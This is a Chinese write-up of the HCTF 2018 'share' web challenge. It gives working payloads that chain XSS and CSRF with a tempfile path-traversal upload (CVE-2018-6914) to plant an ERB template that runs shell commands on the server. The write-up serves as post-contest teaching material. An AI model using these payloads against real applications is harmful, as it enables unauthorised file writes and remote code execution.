[HCTF] share write up

step1:

从http://share.2018.hctf.io/robots.txt中获取到题目部分源码

class FileController < ApplicationController
  before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end

接着在代码中我们可以获取到

before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

这个controller的所有function都需要admin权限,且 uploadshare_people_tet是没有csrf token认证的。

step2:

在 http://share.2018.hctf.io/home/share 中存在一个提交表单,提交一段xss可以看到xss会被执行,但cookie开启了httponly。所以我们可以进行csrf upload来上传文件,之后再通过csrf获取上传后的文件名。

payload 如下:

<!-- csrf upload payload -->
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://share.2018.hctf.io/file/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarysWrrwCoy7FeMquna");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"file[context]\"\r\n" +
          "\r\n" +
          "aaaa" +
          "\r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvY3NyZi5lcmI=\"\r\n" +
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" +
          "PCU9IGBscyAuLi8uLi9gICU+\r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +
          "Content-Disposition: form-data; name=\"commit\"\r\n" +
          "\r\n" +
          "submit  \r\n" +
          "------WebKitFormBoundarysWrrwCoy7FeMquna--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
        submitRequest();
    </script>
<!-- csrf post payload -->
<form action="http://share.2018.hctf.io/file/Alpha_test" id="test" method="POST">
        <input type="text" name="uid"><br>
        <input type="text" name="fid">

    </form>
</body>
<script>
    var f=document.getElementById("test");
    f.getElementsByTagName("input")[0].value="2";
    f.getElementsByTagName("input")[1].value="3";
    f.submit();
</script>

step3:

hint 1和hint 2分别给出了views的目录结构和index.html.erb中的一段局部渲染代码。

hint1:
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
   `-- show.erb
hint2:
<%= render template: "home/"+params[:page] %>

从hint2可以明确(看到hint1其实可以猜测)的知道需要跨目录上传文件到app/views/home下,在ruby的官网也能看到CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir 且在upload中同样使用到了tempfile,尝试使用该漏洞进行跨目录上传恶意文件。

最后再csrf获取该文件名字,访问 http://share.2018.hctf.io/home/获得的filename,done!

ps: 这一题出的时间比较赶,没有思考好场景怎么造比较好,所以这道题存在被偷鸡的方式,且中途由于bot没写好容易挂的原因给各位师傅造成不便,有点抱歉。最后谢谢做我题目的师傅,都是好人呐QAQ

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-11-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏技术小黑屋

每周一脚本:批量对多个文件增加前缀

最近从设计师那里get了超多的图,结果都是1.png,2.png这样的文件名,自己还需要将这些文件变成可读的文件名,不想一个一个得修改,于是就写了一个简单的脚本...

2211
来自专栏hbbliyong

WPF刷新界面之坎坷路

   项目需要一个硬件检测功能,需要用到界面刷新,刚开始想用个定时器,对检测过的硬设定时添加后刷新界面。 但是很遗憾,定时器并不能进行刷新。后台检测List数据...

3977
来自专栏坚毅的PHP

tornado cherrypy bottle性能测试

2011-11-25 今天做了个tornado cherrypy 和 bottle的对比 ab -n 10000 -c 1000 http://192.1...

3876
来自专栏安恒网络空间安全讲武堂

赛前福利①最新2018HITB国际赛writeup

FIRST 距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有10天啦! 要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018H...

4725
来自专栏移动端开发

iOS 测试三方 KIF 的那些事

一: KIF 三方库的配置       今天的广州天气还不错,原本想试试UI测试的,前几天也了解到很多公司都在用 KIF 这这三方框架!!今天也就试着做做,可就...

2416
来自专栏葡萄城控件技术团队

Url Rewrite 再说Url 重写

前几天看到园子里一篇关于 Url 重写的文章《获取ISAPI_Rewrite重写后的URL》 , URL-Rewrite 这项技术早已不是一项新技术了,这个话题...

6508
来自专栏圣杰的专栏

Asp.net mvc 知多少(十)

本系列主要翻译自《ASP.NET MVC Interview Questions and Answers 》- By Shailendra Chauhan,想...

21310
来自专栏一只程序汪的自我修养

手把手教你用.NET Core写爬虫

自从上一个项目58HouseSearch从.NET迁移到.NET core之后,磕磕碰碰磨蹭了一个月才正式上线到新版本。

35412
来自专栏前端小叙

daterangepicker日历插件使用参数注意问题

显示具体时间时分秒: timePicker设置为true,//有些资料写的pickerTime不太对 重点大坑:修改时间默认展示格式,把fomat写在local...

3375
来自专栏GopherCoder

『No18: Go 实现世界杯后台管理系统』

趁着周末更新一期,上一期讲到 如何快速熟悉一个项目, 文章的最后讲到,最好的方法是借用相同的技术栈重新实现一个项目。

1881

扫码关注云+社区

领取腾讯云代金券